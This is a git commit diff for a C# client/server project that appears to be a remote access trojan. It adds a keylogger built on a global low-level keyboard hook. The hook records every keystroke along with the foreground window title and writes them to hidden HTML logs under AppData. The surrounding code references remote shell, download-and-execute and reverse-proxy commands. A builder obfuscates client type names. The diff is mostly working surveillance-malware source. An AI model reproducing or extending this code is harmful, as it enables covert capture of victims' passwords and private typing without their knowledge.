Merge pull request #5 from MaxXor/dev

Merge with dev branch
This commit is contained in:
Justin Yanke 2015-05-19 16:18:55 -04:00
commit 61880e0780
16 changed files with 1446 additions and 235 deletions

View File

@ -69,6 +69,10 @@
<Compile Include="Core\Information\OSInfo.cs" />
<Compile Include="Core\Compression\JpgCompression.cs" />
<Compile Include="Core\Extensions\SocketExtensions.cs" />
<Compile Include="Core\Keylogger\KeyloggerAttributes.cs" />
<Compile Include="Core\Keylogger\KeyloggerHelpers.cs" />
<Compile Include="Core\Keylogger\KeyloggerKeys.cs" />
<Compile Include="Core\Keylogger\Win32.cs" />
<Compile Include="Core\Packets\ClientPackets\DesktopResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\DirectoryResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\DownloadFileResponse.cs" />

View File

@ -116,7 +116,7 @@ namespace xClient.Core
Initialize();
_handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
SocketExtensions.SetKeepAliveEx(_handle, KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME);
_handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME);
_handle.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.NoDelay, true);
_handle.NoDelay = true;

View File

@ -69,7 +69,8 @@ namespace xClient.Core.Commands
public static void CloseShell()
{
_shell.Dispose();
if (_shell != null)
_shell.Dispose();
}
public static void HandleDownloadAndExecuteCommand(Packets.ServerPackets.DownloadAndExecute command,

View File

@ -28,7 +28,7 @@ namespace xClient.Core.Extensions
/// <param name="socket">Current socket instance</param>
/// <param name="keepAliveInterval">Specifies how often TCP repeats keep-alive transmissions when no response is received. TCP sends keep-alive transmissions to verify that idle connections are still active. This prevents TCP from inadvertently disconnecting active lines.</param>
/// <param name="keepAliveTime">Specifies how often TCP sends keep-alive transmissions. TCP sends keep-alive transmissions to verify that an idle connection is still active. This entry is used when the remote system is responding to TCP. Otherwise, the interval between transmissions is determined by the value of the keepAliveInterval entry.</param>
public static void SetKeepAliveEx(Socket socket, uint keepAliveInterval, uint keepAliveTime)
public static void SetKeepAliveEx(this Socket socket, uint keepAliveInterval, uint keepAliveTime)
//extension removed, Missing System.Core.dll which requires .NET FW 3.5
{
var keepAlive = new TcpKeepAlive

View File

@ -0,0 +1,39 @@
using System;
using System.Collections.Generic;
using System.Text;
namespace xClient.Core.Keylogger
{
/// <summary>
/// An attribute that defines a field to be that of a basic Keylogger
/// key. This attribute is used to represent the key in a better way
/// by holding specific data of the key it defines.
/// </summary>
[AttributeUsage(AttributeTargets.Field, AllowMultiple = false)]
public class KeyloggerKey : Attribute
{
/// <summary>
/// The appearance of the logged key.
/// </summary>
public string KeyName { get; private set; }
/// <summary>
/// Tells the Logger that this key is handled in a special way.
/// </summary>
// Please note that "Special Keys" will be colored in a different
// way by the Logger.
public bool IsSpecialKey { get; private set; }
/// <summary>
/// Constructs the attribute used by the keylogger
/// keys to hold data for them.
/// </summary>
/// <param name="PrintedName">The printed value of the key when converting
/// the specific key to its string value.</param>
/// <param name="IsSpecialKey">Determines if the key is a special key.</param>
internal KeyloggerKey(string PrintedName, bool _IsSpecialKey = false)
{
KeyName = PrintedName;
IsSpecialKey = _IsSpecialKey;
}
}
}

View File

@ -0,0 +1,154 @@
using System;
using System.Collections.Generic;
using System.Text;
using System.Reflection;
using xClient.Core.Keylogger;
using System.Runtime.CompilerServices;
using System.Windows.Forms;
namespace xClient.Core.Keylogger
{
/// <summary>
/// Provides extension methods that are used to assist repetitive tasks that
/// are done throughout the keylogging system.
/// </summary>
public static class KeyloggerHelpers
{
/// <summary>
/// Extracts the byte representation of the specific key provided.
/// </summary>
/// <param name="sender">The keylogger key to obtain the byte data from.</param>
/// <returns>Returns the byte representation of the key provided.</returns>
public static byte GetKeyloggerKeyValue(this KeyloggerKeys sender)
{
return Convert.ToByte(sender);
}
/// <summary>
/// Determines if the key provided is one that is considered to be
/// special and should be handled differently by the keylogger.
/// </summary>
/// <param name="sender">The keylogger key to decide upon.</param>
/// <returns>True if the key is special; False if the key is not special.</returns>
public static bool IsSpecialKey(this KeyloggerKeys sender)
{
try
{
FieldInfo fieldInfo = sender.GetType().GetField(sender.ToString());
if (fieldInfo != null)
{
KeyloggerKey[] keyloggerKeyAttributes = fieldInfo.GetCustomAttributes(typeof(KeyloggerKey), false) as KeyloggerKey[];
if (keyloggerKeyAttributes != null && keyloggerKeyAttributes.Length > 0)
{
return keyloggerKeyAttributes[0].IsSpecialKey;
}
}
return false;
}
catch
{
// The likely cause of this exception would be a lack of an attribute for the Keylogger Key.
return false;
}
}
/// <summary>
/// Obtains the name, if one was given, of the key provided.
/// </summary>
/// <param name="sender">The keylogger key to obtain the name from.</param>
/// <returns>Returns the name of the key that was explicitly provided, or string.Empty
/// if none was provided.</returns>
public static string GetKeyloggerKeyName(this KeyloggerKeys sender)
{
try
{
FieldInfo fieldInfo = sender.GetType().GetField(sender.ToString());
if (fieldInfo != null)
{
KeyloggerKey[] keyloggerKeyAttributes = fieldInfo.GetCustomAttributes(typeof(KeyloggerKey), false) as KeyloggerKey[];
if (keyloggerKeyAttributes != null && keyloggerKeyAttributes.Length > 0)
{
return keyloggerKeyAttributes[0].KeyName;
}
}
return string.Empty;
}
catch
{
// The likely cause of this exception would be a lack of an attribute for the Keylogger Key.
return string.Empty;
}
}
/// <summary>
/// Determines if the key code provided is in the pressed state.
/// </summary>
/// <param name="sender">The code for the key.</param>
/// <returns>True if key is pressed; False if the key is not.</returns>
public static bool IsKeyPressed(this short sender)
{
return (sender & 0x8000) != 0;
}
/// <summary>
/// Determines if the key code provided is in a toggled state.
/// </summary>
/// <param name="sender">The code for the key.</param>
/// <returns>True if toggled on; False if toggled off.</returns>
public static bool IsKeyToggled(this short sender)
{
return (sender & 0x0001) != 0;
}
public static string BuildString(this KeyloggerModifierKeys sender)
{
// Add to this method for more combinations that should be supported!
try
{
StringBuilder BuiltModifierKeys = new StringBuilder();
if (sender.CtrlKeyPressed)
{
string CtrlName = KeyloggerKeys.VK_CONTROL.GetKeyloggerKeyName();
if (!string.IsNullOrEmpty(CtrlName))
BuiltModifierKeys.Append(CtrlName + " + ");
}
if (sender.AltKeyPressed)
{
string AltName = KeyloggerKeys.VK_MENU.GetKeyloggerKeyName();
if (!string.IsNullOrEmpty(AltName))
BuiltModifierKeys.Append(AltName + " + ");
}
if (sender.ShiftKeyPressed)
{
string ShiftName = KeyloggerKeys.VK_SHIFT.GetKeyloggerKeyName();
if (!string.IsNullOrEmpty(ShiftName))
BuiltModifierKeys.Append(ShiftName + " + ");
}
if (sender.WindowsKeyPressed)
{
string WinName = KeyloggerKeys.VK_LWIN.GetKeyloggerKeyName();
if (!string.IsNullOrEmpty(WinName))
BuiltModifierKeys.Append(WinName + " + ");
}
return BuiltModifierKeys.ToString();
}
catch
{
return string.Empty;
}
}
}
}

File diff suppressed because it is too large Load Diff

View File

@ -1,91 +1,22 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace xClient.Core.Keylogger
{
public class KeyData
{
public short Value { get; set; }
public bool ShiftKey { get; set; }
public bool CapsLock { get; set; }
public bool ControlKey { get; set; }
public bool AltKey { get; set; }
}
public class Logger
{
#region "WIN32API"
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(Keys vKey);
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(int vKey);
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
private static extern int ToUnicodeEx(int wVirtKey, uint wScanCode, byte[] lpKeyState, StringBuilder pwszBuff,
int cchBuff, uint wFlags, IntPtr dwhkl);
[DllImport("user32.dll")]
private static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
private static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
[DllImport("user32.dll", ExactSpelling = true)]
internal static extern IntPtr GetKeyboardLayout(uint threadId);
#endregion
public static Logger Instance;
private bool IsEnabled = false;
public bool Enabled
{
get { return _timerLogKeys.Enabled && _timerFlush.Enabled && _timerEmptyKeyBuffer.Enabled; }
set
{
_timerLogKeys.Enabled = _timerFlush.Enabled = _timerEmptyKeyBuffer.Enabled = value;
}
}
private static bool ShiftKey
{
get
{
return Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey) & 0x8000); //Returns true if shiftkey is pressed
}
}
private static bool ControlKey
{
get
{
return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey) & 0x8000); //Returns true if controlkey is pressed
}
}
private static bool AltKey
{
get
{
return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu) & 0x8000); //Returns true if altkey is pressed
}
}
private static bool CapsLock
{
get
{
return Control.IsKeyLocked(Keys.CapsLock); //Returns true if Capslock is toggled on
}
get { return this.IsEnabled; }
set { SetHook(value); }
}
private StringBuilder _logFileBuffer;
@ -95,16 +26,33 @@ namespace xClient.Core.Keylogger
private readonly string _filePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) +
"\\Logs\\";
private readonly List<short> _enumValues;
private volatile List<KeyData> _keyBuffer;
private readonly System.Timers.Timer _timerLogKeys;
private readonly System.Timers.Timer _timerEmptyKeyBuffer;
private LoggedKey keyToLog;
private readonly List<LoggedKey> _keysDown = new List<LoggedKey>();
private readonly System.Timers.Timer _timerFlush;
public struct KeyData
{
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
private const int WM_KEYDOWN = 0x100;
private const int WM_KEYUP = 0x101;
private const int WM_SYSKEYDOWN = 0x104;
private const int WM_SYSKEYUP = 0x105;
private const int WH_KEYBOARD_LL = 13;
public delegate int HookProcDelegate(int nCode, int wParam, ref KeyData lParam);
private HookProcDelegate _hook;
private IntPtr _hookHandle = IntPtr.Zero;
/// <summary>
/// Creates the logging class that provides keylogging functionality.
/// </summary>
/// <param name="flushInterval">The interval, in milliseconds, to flush the contents of the keylogger to the file.</param>
public Logger(double flushInterval)
{
Instance = this;
@ -112,51 +60,7 @@ namespace xClient.Core.Keylogger
WriteFile();
_keyBuffer = new List<KeyData>();
_enumValues = new List<short>()
//Populate enumValues list with the Virtual Key Codes of the keys we want to log
{
8, //Backspace
9, //Tab
13, //Enter
32, //Space
46, //Delete
};
for (short i = 48; i <= 57; i++) //0-9 regular
{
_enumValues.Add(i);
}
for (short i = 65; i <= 122; i++)
//65-90 A-Z
//91-92 LWin + RWin key
//skip 93-94 Applications and sleep key
//95-111 numpad keys, 112-122 F1-F11 keys
{
if (i >= 93 && i <= 94) continue;
_enumValues.Add(i);
}
for (short i = 186; i <= 192; i++)
//186 VK_OEM_1, 187 VK_OEM_PLUS, 188 VK_OEM_COMMA, 189 VK_OEM_MINUS, 190 VK_OEM_PERIOD, 191 VK_OEM_2, 192 VK_OEM_3
{
_enumValues.Add(i);
}
for (short i = 219; i <= 222; i++) //219 VK_OEM_4, 220 VK_OEM_5, 221 VK_OEM_6, 222 VK_OEM_7
{
_enumValues.Add(i);
}
this._timerLogKeys = new System.Timers.Timer {Enabled = false, Interval = 10};
this._timerLogKeys.Elapsed += this.timerLogKeys_Elapsed;
this._timerEmptyKeyBuffer = new System.Timers.Timer { Enabled = false, Interval = 500 };
this._timerEmptyKeyBuffer.Elapsed += this.timerEmptyKeyBuffer_Elapsed;
this._timerFlush = new System.Timers.Timer {Enabled = false, Interval = flushInterval};
this._timerFlush = new System.Timers.Timer { Enabled = false, Interval = flushInterval };
this._timerFlush.Elapsed += this.timerFlush_Elapsed;
this._logFileBuffer = new StringBuilder();
@ -164,103 +68,120 @@ namespace xClient.Core.Keylogger
private string HighlightSpecialKey(string name)
{
return string.Format("<font color=\"0000FF\">[{0}]</font>", name);
if (!string.IsNullOrEmpty(name))
{
return string.Format("<font color=\"0000FF\">[{0}]</font>", name);
}
else
{
return string.Empty;
}
}
private void timerEmptyKeyBuffer_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
private int HookProc(int nCode, int wParam, ref KeyData lParam)
{
int j = 0;
KeyData[] keybuffer = new KeyData[_keyBuffer.Count];
_keyBuffer.CopyTo(keybuffer);
foreach (var k in keybuffer)
if (nCode >= 0)
{
if (k != null)
switch (wParam)
{
switch (k.Value)
{
case 8:
_logFileBuffer.Append(HighlightSpecialKey("Back"));
break;
case 9:
_logFileBuffer.Append(HighlightSpecialKey("Tab"));
break;
case 13:
_logFileBuffer.Append(HighlightSpecialKey("Enter"));
break;
case 32:
_logFileBuffer.Append(" ");
break;
case 46:
_logFileBuffer.Append(HighlightSpecialKey("Del"));
break;
case 91:
case 92:
_logFileBuffer.Append(HighlightSpecialKey("Win"));
break;
case 112:
case 113:
case 114:
case 115:
case 116:
case 117:
case 118:
case 119:
case 120:
case 121:
case 122:
_logFileBuffer.Append(HighlightSpecialKey("F" + (k.Value - 111)));
break;
default:
if (_enumValues.Contains(k.Value))
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
//TODO - handle modifier keys in a better way
//
// If a user presses only the control key and then decides to press a, so the combination would be ctrl + a, it will log [CTRL][CTRL + a]
// perhaps some sort of filter?
keyToLog = new LoggedKey();
keyToLog.PressedKey = (KeyloggerKeys)lParam.vkCode;
if (!_keysDown.Contains(keyToLog))
{
try
{
if (k.AltKey && k.ControlKey && k.ShiftKey)
_hWndTitle = GetActiveWindowTitle(); //Get active thread window title
if (!string.IsNullOrEmpty(_hWndTitle))
{
_logFileBuffer.Append(HighlightSpecialKey("SHIFT-CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock)));
// Only write the title to the log file if the names are different.
if (_hWndTitle != _hWndLastTitle)
{
_hWndLastTitle = _hWndTitle;
_logFileBuffer.Append("<br><br>[<b>" + _hWndTitle + "</b>]<br>");
}
}
else if (k.AltKey && k.ControlKey && !k.ShiftKey)
if (keyToLog.ModifierKeysSet)
{
_logFileBuffer.Append(HighlightSpecialKey("CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock)));
}
else if (k.AltKey && !k.ControlKey)
{
_logFileBuffer.Append(HighlightSpecialKey("ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock)));
}
else if (k.ControlKey && !k.AltKey)
{
_logFileBuffer.Append(HighlightSpecialKey("CTRL-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock)));
if (keyToLog.PressedKey.IsSpecialKey())
{
// The returned string could be empty. If it is, ignore it
// because we don't know how to handle that special key.
// The key would be considered unsupported.
string pressedKey = keyToLog.PressedKey.GetKeyloggerKeyName();
if (!string.IsNullOrEmpty(pressedKey))
{
_logFileBuffer.Append(HighlightSpecialKey(pressedKey));
}
}
else
{
// The pressed key is not special, but we have encountered
// a situation of multiple key presses, so just build them.
_logFileBuffer.Append(HighlightSpecialKey(keyToLog.ModifierKeys.BuildString() +
FromKeys(keyToLog)));
}
}
else
{
_logFileBuffer.Append(FromKeys(k.Value, k.ShiftKey, k.CapsLock));
if (keyToLog.PressedKey.IsSpecialKey())
{
string pressedKey = keyToLog.PressedKey.GetKeyloggerKeyName();
if (!string.IsNullOrEmpty(pressedKey))
{
_logFileBuffer.Append(HighlightSpecialKey(pressedKey));
}
}
else
{
_logFileBuffer.Append(FromKeys(keyToLog));
}
}
}
break;
}
catch
{
}
_keysDown.Add(keyToLog); //avoid multiple keypress holding down a key
}
break;
case WM_KEYUP:
case WM_SYSKEYUP:
_keysDown.RemoveAll(k => k == keyToLog); //remove 'keydown' key after up message
break;
}
j++;
}
if (j > 0 && j <= _keyBuffer.Count)
_keyBuffer.RemoveRange(0, j);
return Win32.CallNextHookEx(_hookHandle, nCode, wParam, ref lParam);
}
private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
private void SetHook(bool enable)
{
foreach (short i in _enumValues) //Loop through our enumValues list populated with the keys we want to log
switch (enable)
{
if (GetAsyncKeyState(i) == -32767) //GetAsycKeyState returns -32767 to indicate keypress
{
_keyBuffer.Add(new KeyData() {CapsLock = CapsLock, ShiftKey = ShiftKey, ControlKey = ControlKey, AltKey = AltKey, Value = i});
_hWndTitle = GetActiveWindowTitle(); //Get active thread window title
if (_hWndTitle != null)
{
if (_hWndTitle != _hWndLastTitle && _enumValues.Contains(i))
//Only write title to log if a key is pressed that we support
{
_hWndLastTitle = _hWndTitle;
_logFileBuffer.Append("<br><br>[<b>" + _hWndTitle + "</b>]<br>");
}
}
}
case true:
_hook = new HookProcDelegate(HookProc);
_hookHandle = Win32.SetWindowsHookEx(WH_KEYBOARD_LL, _hook, Win32.GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName), 0);
//hook installed, enabled
_timerFlush.Enabled = true;
IsEnabled = true;
Application.Run(); //start message pump for our hook on this thread
break;
case false:
_timerFlush.Enabled = false;
if (_hookHandle != IntPtr.Zero)
Win32.UnhookWindowsHookEx(_hookHandle);
Application.ExitThread(); //Bug: Thread doesn't exit, message pump still running, disconnecting client will hang in memory
break;
}
}
@ -292,9 +213,8 @@ namespace xClient.Core.Keylogger
{
if (writeHeader)
{
sw.Write(
"<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on " +
DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "<br>");
sw.Write("<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on " +
DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "<br>");
if (_logFileBuffer.Length > 0)
sw.Write(_logFileBuffer);
@ -321,7 +241,7 @@ namespace xClient.Core.Keylogger
{
StringBuilder sbTitle = new StringBuilder(1024);
GetWindowText(GetForegroundWindow(), sbTitle, sbTitle.Capacity);
Win32.GetWindowText(Win32.GetForegroundWindow().ToInt32(), sbTitle, sbTitle.Capacity);
string title = sbTitle.ToString();
@ -331,27 +251,32 @@ namespace xClient.Core.Keylogger
private IntPtr GetActiveKeyboardLayout()
{
uint pid;
return GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), out pid));
//Get the appropriate unicode character from the state of keyboard and from the Keyboard layout (language) of the active thread
return Win32.GetKeyboardLayout(Win32.GetWindowThreadProcessId(Win32.GetForegroundWindow(), out pid));
}
private char? FromKeys(int keys, bool shift, bool caps)
private char? FromKeys(LoggedKey key)
{
var keyStates = new byte[256];
//keyStates is a byte array that specifies the current state of the keyboard and keys
//keyStates is a byte array that specifies the current state of the keyboard and keys
//The keys we are interested in are modifier keys such as shift and caps lock
if (shift)
keyStates[16] = 0x80;
//keyStates[16] tells our ToUnicodeEx method the state of the shift key which is 0x80 (Key pressed down)
if (caps)
keyStates[20] = 0x01;
//keyStates[20] tells our ToUnicodeEx method the state of the Capslock key which is 0x01 (Key toggled on)
byte[] keyStates = new byte[256];
if (key.ModifierKeys.ShiftKeyPressed)
keyStates[(int)KeyloggerKeys.VK_SHIFT] = 0x80;
if (key.ModifierKeys.CapsLock)
keyStates[(int)KeyloggerKeys.VK_CAPITAL] = 0x01;
if (key.ModifierKeys.NumLock)
keyStates[(int)KeyloggerKeys.VK_NUMLOCK] = 0x01;
if (key.ModifierKeys.ScrollLock)
keyStates[(int)KeyloggerKeys.VK_SCROLL] = 0x01;
var sb = new StringBuilder(10);
return ToUnicodeEx(keys, 0, keyStates, sb, sb.Capacity, 0, GetActiveKeyboardLayout()) == 1
? (char?) sb[0]
: null;
//Get the appropriate unicode character from the state of keyboard and from the Keyboard layout (language) of the active thread
return Win32.ToUnicodeEx(key.PressedKey.GetKeyloggerKeyValue(), 0, keyStates, sb, sb.Capacity, 0, GetActiveKeyboardLayout()) == 1
? (char?)sb[0] : null;
}
}
}

View File

@ -0,0 +1,64 @@
using System;
using System.Runtime.InteropServices;
using System.Text;
namespace xClient.Core.Keylogger
{
/// <summary>
/// Provides calls to Native code for functions in the keylogger.
/// </summary>
public static class Win32
{
/// <summary>
/// Translates (maps) a virtual-key code into a scan code or character value,
/// or translates a scan code into a virtual-key code. The function
/// translates the codes using the input language and an input locale identifier.
/// </summary>
/// <param name="uCode">The virtual-key code or scan code for a key</param>
/// <param name="uMapType">The translation to perform.</param>
/// <param name="dwhkl"></param>
/// <returns>Returns </returns>
[DllImport("user32.dll", CharSet = CharSet.Unicode, EntryPoint = "MapVirtualKeyExW", ExactSpelling = true)]
internal static extern int MapVirtualKeyExW(int uCode, int uMapType, IntPtr dwhkl);
[DllImport("user32.dll")]
internal static extern short GetAsyncKeyState(KeyloggerKeys vKey);
// The value passed to GetAsyncKeyState is scan code, so we need to translate
// the data to virtual code, then to unicode character, then we can log to
// the file.
[DllImport("user32.dll")]
internal static extern short GetAsyncKeyState(int vKey);
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
internal static extern int GetWindowText(int hWnd, StringBuilder lpString, int nMaxCount);
[DllImport("user32.dll", CharSet = CharSet.Unicode, ExactSpelling = true)]
internal static extern int ToUnicodeEx(int wVirtKey, uint wScanCode, byte[] lpKeyState, StringBuilder pwszBuff,
int cchBuff, uint wFlags, IntPtr dwhkl);
[DllImport("user32.dll")]
internal static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
internal static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
[DllImport("user32.dll", ExactSpelling = true)]
internal static extern IntPtr GetKeyboardLayout(uint threadId);
[DllImport("kernel32.dll")]
internal static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
internal static extern IntPtr SetWindowsHookEx(int hookID, Logger.HookProcDelegate callback, IntPtr hInstance, int threadID);
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
internal static extern bool UnhookWindowsHookEx(IntPtr hookHandle);
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
internal static extern int CallNextHookEx(IntPtr hookHandle, int nCode, int wParam, ref Logger.KeyData lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
internal static extern IntPtr GetModuleHandle(string lpModuleName);
}
}

View File

@ -9,6 +9,15 @@ using xClient.Core.Keylogger;
using xClient.Core.Packets;
using xClient.Core.ReverseProxy;
namespace System.Runtime.CompilerServices
{
// With this namespace defined along with this attribute stub, we now
// have access to the power of extension methods for the whole client!
// :)
[AttributeUsage(AttributeTargets.Assembly | AttributeTargets.Class | AttributeTargets.Method)]
public sealed class ExtensionAttribute : Attribute { }
}
namespace xClient
{
internal static class Program

View File

@ -58,10 +58,14 @@ namespace xServer.Core.Build
private void RenameInType(TypeDefinition typeDef)
{
if (typeDef.Namespace.StartsWith("My") || typeDef.Namespace.StartsWith("xClient.Core.Packets") ||
typeDef.Namespace == "xClient.Core" || typeDef.Namespace == "xClient.Core.Elevation" ||
typeDef.Namespace == "xClient.Core.Compression" || typeDef.Namespace.StartsWith("ProtoBuf") ||
typeDef.Namespace.Contains("xClient.Core.ReverseProxy"))
if (typeDef.Namespace.StartsWith("My")
|| typeDef.Namespace.StartsWith("xClient.Core.Packets")
|| typeDef.Namespace == "xClient.Core"
|| typeDef.Namespace == "xClient.Core.Elevation"
|| typeDef.Namespace == "xClient.Core.Compression"
|| typeDef.Namespace.StartsWith("ProtoBuf")
|| typeDef.Namespace.Contains("xClient.Core.ReverseProxy")
|| typeDef.Namespace.Contains("xClient.Core.Keylogger"))
return;
TypeOverloader.GiveName(typeDef);

View File

@ -99,9 +99,7 @@ namespace xServer.Core
Initialize();
_handle = sock;
SocketExtensions.SetKeepAliveEx(_handle, KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME);
_handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME);
_handle.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.NoDelay, true);
_handle.NoDelay = true;

View File

@ -16,17 +16,17 @@ namespace xServer.Core.Extensions
private const uint SET_COLUMN_WIDTH = 4126;
private const int AUTOSIZE_USEHEADER = -2;
public static void RemoveDots(ListView targetListView)
public static void RemoveDots(this ListView targetListView)
{
SendMessage(targetListView.Handle, WM_CHANGEUISTATE, 65537, 0);
}
public static void ChangeTheme(ListView targetListView)
public static void ChangeTheme(this ListView targetListView)
{
SetWindowTheme(targetListView.Handle, "Explorer", 0);
}
public static void AutosizeColumns(ListView targetListView)
public static void AutosizeColumns(this ListView targetListView)
{
for (int lngColumn = 0; lngColumn <= (targetListView.Columns.Count - 1); lngColumn++)
{

View File

@ -28,7 +28,7 @@ namespace xServer.Core.Extensions
/// <param name="socket">Current socket instance</param>
/// <param name="keepAliveInterval">Specifies how often TCP repeats keep-alive transmissions when no response is received. TCP sends keep-alive transmissions to verify that idle connections are still active. This prevents TCP from inadvertently disconnecting active lines.</param>
/// <param name="keepAliveTime">Specifies how often TCP sends keep-alive transmissions. TCP sends keep-alive transmissions to verify that an idle connection is still active. This entry is used when the remote system is responding to TCP. Otherwise, the interval between transmissions is determined by the value of the keepAliveInterval entry.</param>
public static void SetKeepAliveEx(Socket socket, uint keepAliveInterval, uint keepAliveTime)
public static void SetKeepAliveEx(this Socket socket, uint keepAliveInterval, uint keepAliveTime)
//extension removed, Missing System.Core.dll which requires .NET FW 3.5
{
var keepAlive = new TcpKeepAlive

View File

@ -69,8 +69,8 @@ namespace xServer.Forms
_lvwColumnSorter = new ListViewColumnSorter();
lstClients.ListViewItemSorter = _lvwColumnSorter;
ListViewExtensions.RemoveDots(lstClients);
ListViewExtensions.ChangeTheme(lstClients);
lstClients.RemoveDots();
lstClients.ChangeTheme();
}
public void UpdateWindowTitle(int count, int selected)

View File

@ -2,6 +2,12 @@
using System.Windows.Forms;
using xServer.Forms;
namespace System.Runtime.CompilerServices
{
[AttributeUsage(AttributeTargets.Assembly | AttributeTargets.Class | AttributeTargets.Method)]
public sealed class ExtensionAttribute : Attribute { }
}
namespace xServer
{
internal static class Program